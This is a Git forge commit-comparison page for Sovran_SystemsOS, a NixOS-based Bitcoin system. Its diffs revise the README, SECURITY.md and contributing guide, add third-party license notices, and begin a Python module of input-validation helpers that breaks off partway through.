Compare commits
27
Commits
57070644cc
...
v1.1.0
| Author | SHA1 | Date | |
|---|---|---|---|
 Sovran Systems
|
9ce169c4f0 | ||
 naturallaw777
|
61287dfece | ||
|
Sovran Systems
|
f48f210209 | ||
|
naturallaw777
|
4193c56397 | ||
|
naturallaw777
|
f85f1a2c9f | ||
|
Sovran Systems
|
802474fe6d | ||
 Arena Agent
|
679c7a039f | ||
 Copilot
|
1b43a34e9c | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
3f233beea0 | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
947c04834d | ||
|
naturallaw777
|
894707a87c | ||
|
naturallaw777
|
43fc01d350 | ||
|
naturallaw777
|
1f0a1ab865 | ||
|
Sovran Systems
|
79f3e8efd8 | ||
|
copilot-swe-agent[bot]
|
ff6abf3b8e | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
a111de1ece | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
9b77b04741 | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
f2ad9c1f17 | ||
|
copilot-swe-agent[bot]
|
590ed134b7 | ||
|
Sovran Systems
|
cc438aa524 | ||
|
Arena.ai Agent
|
0d0a1888f9 | ||
|
Sovran Systems
|
14b8258420 | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
09b34997e4 | ||
|
copilot-swe-agent[bot]
|
a372b88488 | ||
|
Sovran Systems
|
7716c950cd | ||
|
copilot-swe-agent[bot]andnaturallaw777
|
2c223d1166 | ||
|
copilot-swe-agent[bot]
|
503bd2467d |
No files matched your search
@@ -79,6 +79,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
## [Unreleased]
|
||||
|
||||
### Fixed
|
||||
- Report the version of the configured BTCPay Server package in the Hub instead of the different package version from unstable nixpkgs.
|
||||
- Installer VM compatibility: legacy BIOS VM boots now install with GRUB, UEFI VM installs avoid depending on NVRAM boot-entry writes, VM users get clearer disk/resource guidance, and the internet check falls back to HTTPS when ICMP is blocked.
|
||||
- **Manual Backup now matches the system role**: on the Desktop Only role the Hub's
|
||||
"What gets backed up" list no longer shows Node / Server + Desktop items
|
||||
|
||||
+8
-1
@@ -30,7 +30,7 @@ The workflow is:
|
||||
Please note: GitHub `main` and Gitea `staging-dev` may contain new features and
|
||||
code not yet in `stable`, and that code may not be fully tested.
|
||||
|
||||
Moreover, Sovran_SystemsOS has been improved with the help of AI. We have used Copilot and Arean.Ai to work through significant coding challenges and troubleshooting hurdles. We will continue to use AI to help keep Sovran_SystemsOS stable and maintained.
|
||||
Moreover, Sovran_SystemsOS has been improved with the help of AI. We have used Copilot and Arena.ai to work through significant coding challenges and troubleshooting hurdles. We will continue to use AI to help keep Sovran_SystemsOS stable and maintained.
|
||||
|
||||
## How Can I Contribute?
|
||||
|
||||
@@ -92,6 +92,13 @@ git push origin feature/your-feature-name
|
||||
- **Do not push directly to `main`.** Always use a feature branch and open a PR.
|
||||
- **Be patient.** PRs will be reviewed as soon as possible.
|
||||
|
||||
## Security-Sensitive Changes
|
||||
|
||||
- Report vulnerabilities privately as described in [`SECURITY.md`](SECURITY.md).
|
||||
- Pin upstream revisions and hashes; do not use floating source references.
|
||||
- Update [`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md) when importing code.
|
||||
- Add regression tests and describe any threat-model change in the pull request.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Follow the existing patterns in the codebase
|
||||
|
||||
@@ -507,14 +507,13 @@ setup, supported hardware, and Royal Membership.
|
||||
|
||||
## For developers
|
||||
|
||||
Sovran_SystemsOS combines the reproducibility of [NixOS](https://nixos.org),
|
||||
the Bitcoin service modules of
|
||||
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), the desktop Bitcoin
|
||||
packages provided by
|
||||
Sovran_SystemsOS combines [NixOS](https://nixos.org), an in-repository
|
||||
Bitcoin and Lightning stack, desktop packages from
|
||||
[btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix), and the
|
||||
Sovran Hub into a complete Bitcoin operating system. The operating system
|
||||
configuration, installer, Hub, desktop integration, Bitcoin services, and
|
||||
optional self-hosting services are all maintained in this repository.
|
||||
Sovran Hub. The Bitcoin modules under `modules/bitcoin/` were adapted from
|
||||
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) and are now maintained
|
||||
here. Builds no longer import or fetch nix-bitcoin. Legacy `nix-bitcoin.*`
|
||||
option names and `/etc/nix-bitcoin-secrets` remain for compatibility.
|
||||
|
||||
### Development workflow
|
||||
|
||||
@@ -533,9 +532,9 @@ optional self-hosting services are all maintained in this repository.
|
||||
### Technology
|
||||
|
||||
- [NixOS](https://nixos.org) and [Nix flakes](https://nixos.wiki/wiki/Flakes)
|
||||
for reproducible system configuration
|
||||
- [nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) for declarative
|
||||
Bitcoin and Lightning services
|
||||
for declarative, pinned system configuration
|
||||
- `modules/bitcoin/` for the in-repository Bitcoin and Lightning stack
|
||||
- `packages/` for Sovran-maintained package definitions and patches
|
||||
- [btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix) for the
|
||||
Sparrow, Bisq, and Bisq 2 packages
|
||||
- [Python](https://www.python.org) and [FastAPI](https://fastapi.tiangolo.com)
|
||||
@@ -625,12 +624,14 @@ sudo nixos-rebuild switch --rollback
|
||||
| `flake.nix` | Declares flake inputs, the running system, and installer outputs |
|
||||
| `flake.lock` | Pins dependencies for reproducible builds |
|
||||
| `configuration.nix` | Base host, boot, desktop, user, security, backup, and system configuration |
|
||||
| `modules/` | Core modules, Bitcoin services, self-hosted services, and optional features |
|
||||
| `modules/` | Core modules, self-hosted services, and optional features |
|
||||
| `modules/bitcoin/` | In-repository Bitcoin and Lightning service modules |
|
||||
| `modules/core/` | Roles, Hub integration, Caddy, desktop, support, and other core behavior |
|
||||
| `app/` | Sovran Hub backend, templates, static assets, scripts, and web interface |
|
||||
| `scripts/` | Automated release, build, and CDN upload utility scripts |
|
||||
| `iso/` | Installer configuration, installer code, and installer assets |
|
||||
| `packages/` | Custom package sources and patches (for example, Alby Hub) |
|
||||
| `packages/` | Sovran-maintained package definitions and patches |
|
||||
| `tests/` | Security and Nix integration checks |
|
||||
| `assets/` | Documentation images |
|
||||
| `custom.template.nix` | Template for local features and service overrides |
|
||||
|
||||
@@ -704,65 +705,35 @@ production environment.
|
||||
|
||||
## About Bitcoin wallet entropy
|
||||
|
||||
When you create a Bitcoin wallet in Sparrow Wallet, you generate a **24-word
|
||||
seed phrase**. You should also apply a **128-bit BIP39 passphrase**. These are
|
||||
**two independent entropy sources** — both are required to recover your wallet,
|
||||
and neither one alone is sufficient.
|
||||
Wallet recovery words control the funds. Never share them with a website,
|
||||
support technician, cloud service, or chat application.
|
||||
|
||||
**Create each entropy source on different hardware.**
|
||||
For meaningful balances, prefer a well-reviewed hardware signer and follow its
|
||||
verified backup process. A BIP39 passphrase is optional, advanced protection;
|
||||
it is not a replacement for the recovery words. If you use one, back it up
|
||||
separately—losing either item can make the wallet unrecoverable.
|
||||
|
||||
The seed phrase is generated by Sparrow Wallet on your Sovran_SystemsOS machine.
|
||||
The 128-bit passphrase should be generated on a separate device — for example:
|
||||
|
||||
- A **GrapheneOS** phone using Bitwarden's passphrase generator
|
||||
- A different computer running the **Diceware** program
|
||||
|
||||
This way, no single device ever produces or holds both sources of randomness.
|
||||
If one device is ever compromised, the other entropy source remains unknown to
|
||||
an attacker. Your wallet cannot be recovered without **both**.
|
||||
|
||||
This is not a recommendation against hardware wallets, dice, or any other
|
||||
well-tested method of creating entropy. Those are established and valuable
|
||||
approaches. If you use a hardware wallet, verify for yourself that its entropy
|
||||
generation — both the software and the hardware — is sound and follows best
|
||||
practices.
|
||||
|
||||
The takeaway is simply this: **how your entropy is created matters, and
|
||||
generating your two entropy sources on two physically separate devices is a
|
||||
strong practice to understand before setting up a Bitcoin wallet** with the
|
||||
software included in Sovran_SystemsOS.
|
||||
|
||||
**You must do your own research.** The information above is basic educational
|
||||
context to help you build your own best practices — not financial advice and not
|
||||
a substitute for your own due diligence.
|
||||
Keep durable offline backups in separate secure locations. Test recovery before
|
||||
relying on a wallet, and begin with a small amount.
|
||||
|
||||
---
|
||||
|
||||
## Security approach
|
||||
|
||||
Sovran_SystemsOS is designed around local ownership and explicit control.
|
||||
Sovran_SystemsOS uses layered controls:
|
||||
|
||||
Its security foundations include:
|
||||
- Pinned flake inputs and hash-pinned source archives
|
||||
- Bitcoin and Lightning modules maintained in this repository
|
||||
- Firewall enabled; public SSH and remote desktop disabled by default
|
||||
- Separate service users, systemd sandboxing, and loopback bindings where practical
|
||||
- Tor enforcement for supported Bitcoin services
|
||||
- Restricted, time-limited support access with scoped `sudo`
|
||||
- Operator-controlled public service exposure
|
||||
|
||||
- Reproducible builds from pinned flake inputs
|
||||
- Firewall enabled by default
|
||||
- Public SSH disabled by default
|
||||
- Remote desktop disabled by default
|
||||
- Hub authentication
|
||||
- Local-network Hub access through `sovransystemsos.local`
|
||||
- Tor integration for the Bitcoin stack
|
||||
- User-controlled service exposure
|
||||
- Declarative system configuration
|
||||
- Restricted technical-support access
|
||||
- Auditable open-source code
|
||||
|
||||
No operating system can guarantee complete security. Users should still apply
|
||||
updates, protect credentials, maintain backups, secure their local network,
|
||||
and review any services they choose to expose publicly.
|
||||
|
||||
Bitcoin users must also securely back up wallet seed phrases, descriptors,
|
||||
channel backups, and other recovery information. Never store your only wallet
|
||||
backup on the same computer that holds the wallet.
|
||||
See [`SECURITY.md`](SECURITY.md) for the threat model, limitations, reporting,
|
||||
and operator guidance. No operating system can protect funds after recovery
|
||||
words, administrator credentials, or the root account are compromised. Apply
|
||||
updates and keep tested offline backups.
|
||||
|
||||
---
|
||||
|
||||
@@ -780,11 +751,15 @@ Sovran_SystemsOS would not have the same reliability, transparency, or reproduci
|
||||
|
||||
### nix-bitcoin
|
||||
|
||||
Special thanks go to the [nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) project and its [contributors](https://github.com/fort-nix/nix-bitcoin/graphs/contributors).
|
||||
The in-repository Bitcoin stack began with code adapted from
|
||||
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), primarily from commit
|
||||
[`360e30f`](https://github.com/fort-nix/nix-bitcoin/commit/360e30fee5ba32f9fecc89bc35628195d9d2dbbe).
|
||||
It has since been narrowed to Sovran's supported services and is maintained in
|
||||
this repository. nix-bitcoin is no longer a flake input or build dependency.
|
||||
|
||||
nix-bitcoin provides the declarative foundation for building and operating Bitcoin and Lightning services on NixOS. Its work makes it possible to configure complex Bitcoin infrastructure—including nodes, Electrs, Lightning, Tor integration, and related services—in a reproducible and auditable way.
|
||||
|
||||
Sovran_SystemsOS builds upon that foundation to make this infrastructure approachable through an integrated desktop, installer, and Sovran Hub.
|
||||
We remain grateful to the nix-bitcoin contributors for the declarative and
|
||||
security-focused foundation. Its MIT notice is retained in
|
||||
[`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md).
|
||||
|
||||
### Emmanuel Rosa and btc-clients-nix
|
||||
|
||||
@@ -859,9 +834,10 @@ license.
|
||||
> Individual upstream applications, packages, artwork, fonts, and other
|
||||
> components included with or built by Sovran_SystemsOS may have their own
|
||||
> licenses and copyright holders. The AGPL-3.0 license for this repository does
|
||||
> not replace the licenses of independent upstream projects.
|
||||
> not replace those licenses.
|
||||
|
||||
Read the complete license terms in [`LICENSE`](LICENSE).
|
||||
Read [`LICENSE`](LICENSE) and
|
||||
[`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md).
|
||||
|
||||
---
|
||||
|
||||
|
||||
+72
-75
@@ -1,104 +1,101 @@
|
||||
# Security Policy (SECURITY.md)
|
||||
# Security Policy
|
||||
|
||||
This document outlines the security policy, vulnerability disclosure process, threat model, and security best practices for **Sovran_SystemsOS**.
|
||||
## Supported versions
|
||||
|
||||
---
|
||||
| Release | Supported |
|
||||
|---|:---:|
|
||||
| Latest `1.0.x` stable release | Yes |
|
||||
| `main` / `staging-dev` | Development only |
|
||||
| Older than `1.0.0` | No |
|
||||
|
||||
## 1. Supported Versions
|
||||
Install the newest stable point release to receive security fixes.
|
||||
|
||||
We actively monitor and patch security vulnerabilities in Sovran_SystemsOS. Because the operating system is built on [NixOS](https://nixos.org), stable releases receive security updates backported from upstream Nixpkgs as well as our custom software updates.
|
||||
## Report a vulnerability
|
||||
|
||||
| Version | Supported | Notes |
|
||||
|:---|:---:|:---|
|
||||
| **1.0.x** (Stable) | Yes | Active stable release line. Patches are backported regularly. |
|
||||
| **staging-dev** | Yes | Development line; updated frequently but may contain untested code. |
|
||||
| **Legacy (< 1.0.0)** | No | Please upgrade to the latest stable release to ensure you have active security updates. |
|
||||
**Do not open a public issue or pull request.** Report privately through:
|
||||
|
||||
---
|
||||
- [GitHub Private Vulnerability Reporting](https://github.com/naturallaw777/Sovran_SystemsOS/security/advisories/new)
|
||||
- Email: [support@sovransystems.com](mailto:support@sovransystems.com)
|
||||
|
||||
## 2. Reporting a Vulnerability
|
||||
Include the affected version, impact, reproduction steps, and a minimal proof of
|
||||
concept. Never send wallet recovery words, private keys, or live credentials.
|
||||
|
||||
We take the security of self-custody systems, private clouds, and communications servers extremely seriously. If you discover a vulnerability, **please do not open a public issue, forum thread, or submit a public pull request.**
|
||||
We aim to acknowledge reports within two business days. Please allow reasonable
|
||||
time for a fix and coordinated disclosure.
|
||||
|
||||
Instead, report vulnerabilities privately through one of the following secure channels:
|
||||
## Security model
|
||||
|
||||
1. **Email:** Send an encrypted or plain-text email to [support@sovransystems.com](mailto:support@sovransystems.com).
|
||||
- If sending sensitive information, please contact us first to establish a secure PGP-encrypted communication channel.
|
||||
2. **GitHub Private Vulnerability Reporting:** If you are viewing this on GitHub, you can report vulnerabilities privately via the **Security** tab of this repository under **Vulnerability reporting**.
|
||||
### Local-first operation
|
||||
|
||||
### What to Include in a Report:
|
||||
To help us triage and resolve the issue quickly, please include:
|
||||
- A clear description of the vulnerability and its potential impact.
|
||||
- Step-by-step instructions to reproduce the issue (including any scripts or configuration snippets).
|
||||
- The version of Sovran_SystemsOS you tested (found in the Hub header or `/etc/nixos/VERSION`).
|
||||
- Any potential remediation steps or suggestions you may have.
|
||||
The Hub and core data run on operator-owned hardware. The Hub is intended for a
|
||||
trusted local network and must not be port-forwarded to the internet. Public
|
||||
services, DDNS, software updates, and optional third-party relays require
|
||||
external networks and are outside a “fully offline” model.
|
||||
|
||||
### Our Response and Disclosure Process:
|
||||
1. **Acknowledgment:** We will acknowledge receipt of your report within **24–48 hours** and provide a tracking reference.
|
||||
2. **Triage:** We will investigate and verify the vulnerability privately. We may reach out to you for clarifying details.
|
||||
3. **Remediation:** If verified, we will develop a patch on a private security branch.
|
||||
4. **Release:** We will coordinate a release date with you and publish the patch to Gitea `stable` and GitHub `main`.
|
||||
5. **Advisory:** A public security advisory will be published, giving full credit to you for the discovery (unless you request anonymity).
|
||||
The local Hub currently uses HTTP. Authentication does not encrypt local network
|
||||
traffic, so use a trusted LAN and avoid public or guest Wi-Fi.
|
||||
|
||||
We ask that you practice **coordinated vulnerability disclosure**, giving us reasonable time to patch the vulnerability before disclosing it publicly to protect other operators' funds and data.
|
||||
### In-repository Bitcoin stack
|
||||
|
||||
---
|
||||
Bitcoin and Lightning modules are maintained under `modules/bitcoin/`. They were
|
||||
adapted from nix-bitcoin, but Sovran builds do not import or fetch nix-bitcoin.
|
||||
The `nix-bitcoin.*` option namespace and `/etc/nix-bitcoin-secrets` path remain
|
||||
only for upgrade compatibility.
|
||||
|
||||
## 3. The Sovran_SystemsOS Security Architecture
|
||||
### Supply chain and integrity
|
||||
|
||||
Understanding our underlying threat model and architectural decisions will help you evaluate the system's security.
|
||||
`flake.lock` pins flake inputs, and fetched source archives use fixed hashes.
|
||||
Builds still depend on pinned Nixpkgs, NixVim, btc-clients-nix, upstream source
|
||||
archives, and any configured binary cache. Keeping the Bitcoin modules in this
|
||||
repository reduces an external dependency; it does not remove supply-chain
|
||||
risk.
|
||||
|
||||
### A. Local-First Threat Model
|
||||
- **No Cloud Dependency:** Your data, keys, and credentials live entirely on your physical hardware.
|
||||
- **Local network Hub Access:** The Sovran Hub is served directly on your local network (`sovransystemsos.local`). It is protected by authentication and **never** automatically exposed to the public internet.
|
||||
- **Localhost Auto-Login:** Auto-login to the Hub is restricted strictly to local connections from `127.0.0.1` or `::1` (e.g., when accessing it directly from the local GNOME desktop). LAN and WAN clients must authenticate via password.
|
||||
The Hub integrity check verifies Nix store contents and compares the running
|
||||
system with a build from local `/etc/nixos`. It does not authenticate the release
|
||||
publisher or protect against an attacker who already controls root and can
|
||||
change both the system and local configuration.
|
||||
|
||||
### B. Declarative & Reproducible NixOS Foundation
|
||||
- **No Supply Chain Drift:** Dependencies, packages, and system components are strictly pinned using Nix flakes (`flake.lock`).
|
||||
- **Reproducible Integrity Checks:** Operators can verify system integrity at any time via the Hub (`/api/security/verify-integrity`), which runs `nix store verify --all` to check binary consistency and rebuilds the system state from local files to guarantee it matches the expected configuration.
|
||||
- **Default-Hardened Base:** Firewalls are enabled by default (`networking.firewall.enable = true`), public SSH and remote desktop are disabled by default, and legacy kernel modules like `rxrpc` are blacklisted to reduce the kernel's attack surface.
|
||||
### Access and service isolation
|
||||
|
||||
### C. Restricted Tech Support ("Zero-Trust Support")
|
||||
To prevent support staff or malicious actors from accessing your private wallets, the operating system employs a unique **"Zero-Trust Support"** architecture:
|
||||
- **Restricted System Account:** Support sessions use a restricted, non-root account (`sovran-support`) with heavily scoped shell access and limited `sudo` privileges (restricted strictly to viewing logs, editing configuration, and rebuilding or restarting services).
|
||||
- **POSIX ACL Wallet Lockout:** Enabling support immediately triggers POSIX ACLs (`setfacl -m u:sovran-support:---`) to block the support user from reading, writing, or traversing sensitive directories (such as `/etc/nix-bitcoin-secrets`, `/var/lib/bitcoind`, `/var/lib/lnd`, and `/home`).
|
||||
- **User-Controlled Timed Unlock:** Support staff can *only* access wallet files if the operator explicitly grants a time-limited unlock from the Hub interface. This unlock automatically expires, re-locking the directories.
|
||||
- **Tamper-Evident Auditing:** All support actions (enabling, disabling, wallet unlocking, or locking) are logged in a tamper-evident audit trail (`/var/log/sovran-support-audit.log`) readable directly by the operator.
|
||||
- Firewall enabled by default
|
||||
- Public SSH and remote desktop disabled by default
|
||||
- Separate service users and systemd sandboxing where supported
|
||||
- Administrative service ports bound to loopback where practical
|
||||
- Tor enforced for supported Bitcoin traffic and onion services
|
||||
- Public web services exposed only when enabled by the operator
|
||||
|
||||
### D. Native Cryptographic Isolation
|
||||
- **Tor Network Integration:** Upstream Bitcoin services (Knots/Core, Electrs, LND) utilize native Tor integration, preventing your home IP address from leaking to the public network or third-party node providers.
|
||||
- **Isolated Lightning Wallets:** Nostr Wallet Connect (NWC) uses isolated, sandboxed Lightning wallets with specific spending limits and access presets (e.g., receive-only), keeping your main node funds completely isolated from individual apps.
|
||||
Tor reduces network exposure for configured Bitcoin services. It is not a
|
||||
guarantee against every IP leak, application bug, or traffic-analysis attack.
|
||||
|
||||
---
|
||||
### Restricted support access
|
||||
|
||||
## 4. Security Best Practices for Operators (Users)
|
||||
Support uses a per-session SSH key on the non-root `sovran-support` account.
|
||||
Sessions expire after 24 hours and have a small allowlist of `sudo` commands.
|
||||
Wallet paths receive deny ACLs unless the operator explicitly removes them.
|
||||
Disabling support removes the key and reapplies the ACLs.
|
||||
|
||||
No software can provide absolute security. You are the ultimate sovereign of your machine. Follow these best practices to keep your system and assets secure:
|
||||
Support events are written to `/var/log/sovran-support-audit.log`. This is a
|
||||
local audit log, not a cryptographically tamper-evident record.
|
||||
|
||||
### 🔑 1. Split Wallet Entropy
|
||||
When setting up a Bitcoin wallet, **generate your two entropy sources on separate, unconnected hardware**:
|
||||
- **Seed Phrase:** Generated by Sparrow Wallet on your Sovran_SystemsOS machine.
|
||||
- **BIP-39 Passphrase (128-bit):** Generated on a separate device (e.g., a GrapheneOS phone using a trusted password generator or offline Diceware dice).
|
||||
- *Why?* If either device is compromised, your wallet remains secure because an attacker needs **both** independent sources of randomness to recover it.
|
||||
## Out of scope
|
||||
|
||||
### 💾 2. Implement a Robust Backup Strategy
|
||||
- **Off-Machine Backups:** Never store your only wallet backups, seed phrases, or descriptor backups on the same computer as your running wallet.
|
||||
- **Descriptor & Channel Backups:** If using Lightning (LND), regularly back up your Static Channel Backups (SCB) and store them off-site. A node hardware failure can permanently lock up channel funds without a fresh SCB.
|
||||
- **Ext4 Backups:** If using the Hub's Manual Backup utility, ensure you are backing up to a dedicated **ext4-formatted** external drive. This preserves Linux-native security metadata, permissions, and POSIX ACLs.
|
||||
Sovran_SystemsOS cannot protect against:
|
||||
|
||||
### 🛡️ 3. Maintain Network and Access Hygiene
|
||||
- **Public SSH Off:** Keep SSH remote access disabled in the Hub unless you actively need it. If enabled, Fail2Ban is active, but you should still enforce a strong system password.
|
||||
- **Strong Diceware Passwords:** Ensure the system `free` and `root` users have strong passphrases. Avoid re-using passwords across services.
|
||||
- **Guest Networks:** Do not access the Sovran Hub over public or guest Wi-Fi networks. These networks often lack isolation, exposing local network traffic to other devices.
|
||||
- **Disable RDP When Done:** Turn off Remote Desktop (RDP) once your administrative session is finished.
|
||||
- Compromised root or administrator credentials
|
||||
- Stolen recovery words, private keys, or backups
|
||||
- Malicious or compromised hardware, firmware, or build infrastructure
|
||||
- Services the operator deliberately exposes or weakens
|
||||
- Physical access without appropriate disk and firmware protections
|
||||
|
||||
### 🧑💻 4. Hardening Support Sessions
|
||||
If you require technical support from Sovran Systems:
|
||||
- **Enable SSH and Support on-demand:** Only enable SSH Remote Access and Support sessions when actively working with a technician, and **disable** them immediately when the session is over.
|
||||
- **Confirm Removal:** The Hub's support page includes a "Verify Removal" feature. Always use it to ensure public keys have been fully stripped from the system.
|
||||
- **Restrict Wallet Access:** Only unlock your wallet directories if absolutely necessary for the support session, and choose the shortest possible duration. Re-lock manually as soon as the troubleshooting steps are complete.
|
||||
- **Review Audit Logs:** Periodically inspect the support audit log via the Hub interface to review exactly when support sessions were toggled or unlocked.
|
||||
## Operator basics
|
||||
|
||||
---
|
||||
- Verify downloads and stop if the checksum does not match.
|
||||
- Apply stable security updates promptly.
|
||||
- Use unique passwords and keep SSH/RDP off when not needed.
|
||||
- Prefer a well-reviewed hardware signer for meaningful Bitcoin balances.
|
||||
- Keep tested, offline backups in separate secure locations.
|
||||
- Never share recovery words or private keys with support.
|
||||
- Disable support access when the session ends and review the audit log.
|
||||
|
||||
Thank you for helping us maintain a highly secure, private, and sovereign computing operating system!
|
||||
No software can provide absolute security. Review your configuration and threat
|
||||
model before storing important funds or data.
|
||||
@@ -0,0 +1,33 @@
|
||||
# Third-Party Notices
|
||||
|
||||
## nix-bitcoin
|
||||
|
||||
Portions of `modules/bitcoin/` and selected package definitions were adapted
|
||||
from [fort-nix/nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), commit
|
||||
[`360e30fee5ba32f9fecc89bc35628195d9d2dbbe`](https://github.com/fort-nix/nix-bitcoin/commit/360e30fee5ba32f9fecc89bc35628195d9d2dbbe).
|
||||
The current Sovran build does not import or fetch nix-bitcoin.
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 nix-bitcoin developers
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
Other packaged applications retain their own upstream licenses and copyright
|
||||
notices.
|
||||
@@ -0,0 +1,241 @@
|
||||
"""Sovran Hub — pure security validation helpers.
|
||||
|
||||
This module contains the dependency-light security helper functions used by
|
||||
the Hub server. Keeping them here allows tests to import and exercise the
|
||||
exact production implementations rather than maintaining separate copies.
|
||||
|
||||
All functions in this module depend only on the Python standard library.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import ipaddress
|
||||
import re
|
||||
import urllib.parse
|
||||
|
||||
# ── Nix string escaping ────────────────────────────────────────────────────────
|
||||
|
||||
def _nix_escape(value: str) -> str:
|
||||
"""Escape *value* for use inside a Nix double-quoted string literal.
|
||||
|
||||
Handles backslashes, double-quotes, newlines, carriage returns, tabs, and
|
||||
Nix-specific anti-quotation sequences (``${...}``). The returned value is
|
||||
safe to embed as ``"<returned_value>"`` in generated Nix source.
|
||||
"""
|
||||
value = value.replace("\\", "\\\\")
|
||||
value = value.replace('"', '\\"')
|
||||
value = value.replace("\n", "\\n")
|
||||
value = value.replace("\r", "\\r")
|
||||
value = value.replace("\t", "\\t")
|
||||
value = value.replace("${", "\\${")
|
||||
return value
|
||||
|
||||
|
||||
# ── Nostr npub validation (NIP-19 / Bech32) ───────────────────────────────────
|
||||
|
||||
# Fast pre-filter: "npub1" followed by exactly 58 lower-case bech32 characters.
|
||||
NPUB_RE = re.compile(r"^npub1[023456789acdefghjklmnpqrstuvwxyz]{58}$")
|
||||
|
||||
_BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
_BECH32_GENERATOR = (0x3B6A57B2, 0x26508E6D, 0x1EA119FA, 0x3D4233DD, 0x2A1462B3)
|
||||
|
||||
|
||||
def _bech32_polymod(values: list[int]) -> int:
|
||||
chk = 1
|
||||
for value in values:
|
||||
top = chk >> 25
|
||||
chk = ((chk & 0x1FFFFFF) << 5) ^ value
|
||||
for i in range(5):
|
||||
if (top >> i) & 1:
|
||||
chk ^= _BECH32_GENERATOR[i]
|
||||
return chk
|
||||
|
||||
|
||||
def _bech32_hrp_expand(hrp: str) -> list[int]:
|
||||
return [ord(c) >> 5 for c in hrp] + [0] + [ord(c) & 31 for c in hrp]
|
||||
|
||||
|
||||
def _bech32_create_checksum(hrp: str, data: list[int]) -> list[int]:
|
||||
values = _bech32_hrp_expand(hrp) + data
|
||||
polymod = _bech32_polymod(values + [0, 0, 0, 0, 0, 0]) ^ 1
|
||||
return [(polymod >> (5 * (5 - i))) & 31 for i in range(6)]
|
||||
|
||||
|
||||
def _bech32_convertbits_decode(data: list[int]) -> list[int] | None:
|
||||
"""Convert a 5-bit integer sequence to 8-bit bytes, stripping padding."""
|
||||
acc = 0
|
||||
bits = 0
|
||||
ret: list[int] = []
|
||||
for value in data:
|
||||
acc = (acc << 5) | value
|
||||
bits += 5
|
||||
while bits >= 8:
|
||||
bits -= 8
|
||||
ret.append((acc >> bits) & 0xFF)
|
||||
if bits >= 5 or ((acc << (8 - bits)) & 0xFF):
|
||||
return None # invalid padding
|
||||
return ret
|
||||
|
||||
|
||||
def _bech32_decode(bech: str) -> tuple[str, bytes] | None:
|
||||
"""Decode a bech32 string. Returns ``(hrp, payload_bytes)`` or ``None``.
|
||||
|
||||
Verifies:
|
||||
- Lowercase-only (mixed case rejected per BIP-173).
|
||||
- Only valid bech32 charset characters.
|
||||
- Valid checksum.
|
||||
- Exactly one separator (``1``).
|
||||
- Minimum data part length (≥ 8 chars = 6 checksum + ≥ 2 data).
|
||||
"""
|
||||
if bech != bech.lower():
|
||||
return None # mixed case
|
||||
sep = bech.rfind("1")
|
||||
if sep < 1 or sep + 7 > len(bech):
|
||||
return None
|
||||
hrp = bech[:sep]
|
||||
data_part = bech[sep + 1:]
|
||||
if any(c not in _BECH32_CHARSET for c in data_part):
|
||||
return None
|
||||
decoded = [_BECH32_CHARSET.index(c) for c in data_part]
|
||||
if _bech32_polymod(_bech32_hrp_expand(hrp) + decoded) != 1:
|
||||
return None # bad checksum
|
||||
converted = _bech32_convertbits_decode(decoded[:-6])
|
||||
if converted is None:
|
||||
return None
|
||||
return hrp, bytes(converted)
|
||||
|
||||
|
||||
def _validate_npub(value: str) -> bool:
|
||||
"""Return ``True`` iff *value* is a valid NIP-19 Nostr npub.
|
||||
|
||||
Checks:
|
||||
- Lowercase ``npub`` HRP.
|
||||
- Valid bech32 charset (no uppercase, no invalid chars).
|
||||
- Valid bech32 checksum.
|
||||
- Exactly 32 decoded payload bytes (256-bit public key).
|
||||
- Retains the original regex as a fast pre-filter.
|
||||
"""
|
||||
if not NPUB_RE.fullmatch(value):
|
||||
return False
|
||||
result = _bech32_decode(value)
|
||||
if result is None:
|
||||
return False
|
||||
hrp, payload = result
|
||||
return hrp == "npub" and len(payload) == 32
|
||||
|
||||
|
||||
# ── DDNS URL validation ────────────────────────────────────────────────────────
|
||||
|
||||
_DDNS_URL_MAX_LEN = 2048
|
||||
_DDNS_CONTROL_RE = re.compile(r"[\x00-\x1f\x7f]")
|
||||
|
||||
# Allowlist: only the official Njal.la provider hostnames are accepted for
|
||||
# DDNS update URLs. Any other host would allow SSRF against the Hub's
|
||||
# internal network.
|
||||
